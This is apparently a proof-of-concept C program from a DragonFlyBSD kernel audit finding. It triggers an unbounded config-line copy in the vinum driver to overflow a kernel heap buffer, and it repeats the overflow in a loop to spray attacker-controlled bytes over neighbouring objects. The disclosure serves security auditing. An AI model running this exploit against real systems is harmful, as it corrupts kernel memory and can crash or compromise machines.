⬢ DragonFlyBSD Kernel Audit
DF-4133 / vinum_linemash.c
← back to finding ↓ download raw
/*
 * DF-4133 PoC: vinum_scandisk() unbounded config-line copy overflow
 *
 * sys/dev/raid/vinum/vinumio.c:795-797 copies bytes from the on-disk
 * configuration into config_line (Malloc(MAXCONFIGLINE * 2) = 2048 bytes,
 * vinumio.c:763) until '\n' or '\0', with no bound.  A crafted vinum drive
 * whose config area holds a line of ~60000 bytes (no newline) overflows the
 * kernel heap by ~58 KB with attacker-controlled content.  The copy runs
 * BEFORE any parsing, so the config need not be valid.
 *
 * The crafted drive (label magic VINUM_MAGIC at partition offset 4096,
 * 60000 x 'A' at offset 4608 = VINUM_CONFIG_OFFSET) is prepared by
 * mkdisk.sh.  Each loop iteration wipes the in-kernel config
 * (VINUM_RESETCONFIG) so that "read" re-reads the drive and re-runs the
 * overflow, spraying 0x41 across kmalloc(2048) zone neighbours until a
 * live object is hit.
 */
#include <sys/types.h>
#include <sys/ioccom.h>
#include <errno.h>
#include <fcntl.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>

#define BUFSIZE 1024
#define VINUM_CREATE	_IOC(IOC_INOUT, 'F', 64, BUFSIZE)
#define VINUM_RESETCONFIG _IOC(0, 'F', 73, 0)

int
main(int argc, char **argv)
{
	char buf[BUFSIZE];
	int fd, i, iters = (argc > 1) ? atoi(argv[1]) : 10;

	fd = open("/dev/vinum/control", O_RDWR);
	if (fd < 0) {
		perror("open /dev/vinum/control");
		return 1;
	}

	for (i = 0; i < iters; i++) {
		printf("iter %d: resetconfig + read crafted drive\n", i);
		fflush(stdout);
		if (ioctl(fd, VINUM_RESETCONFIG, 0) < 0 && errno != 0)
			printf("  resetconfig errno=%d\n", errno);
		memset(buf, 0, sizeof(buf));
		snprintf(buf, sizeof(buf), "read %s",
			 (argc > 2) ? argv[2] : "/dev/vn0s1a");
		if (ioctl(fd, VINUM_CREATE, buf) < 0)
			printf("  read errno=%d reply.error=%d\n",
			       errno, *(int *)buf);
	}
	printf("survived %d iterations\n", iters);
	return 0;
}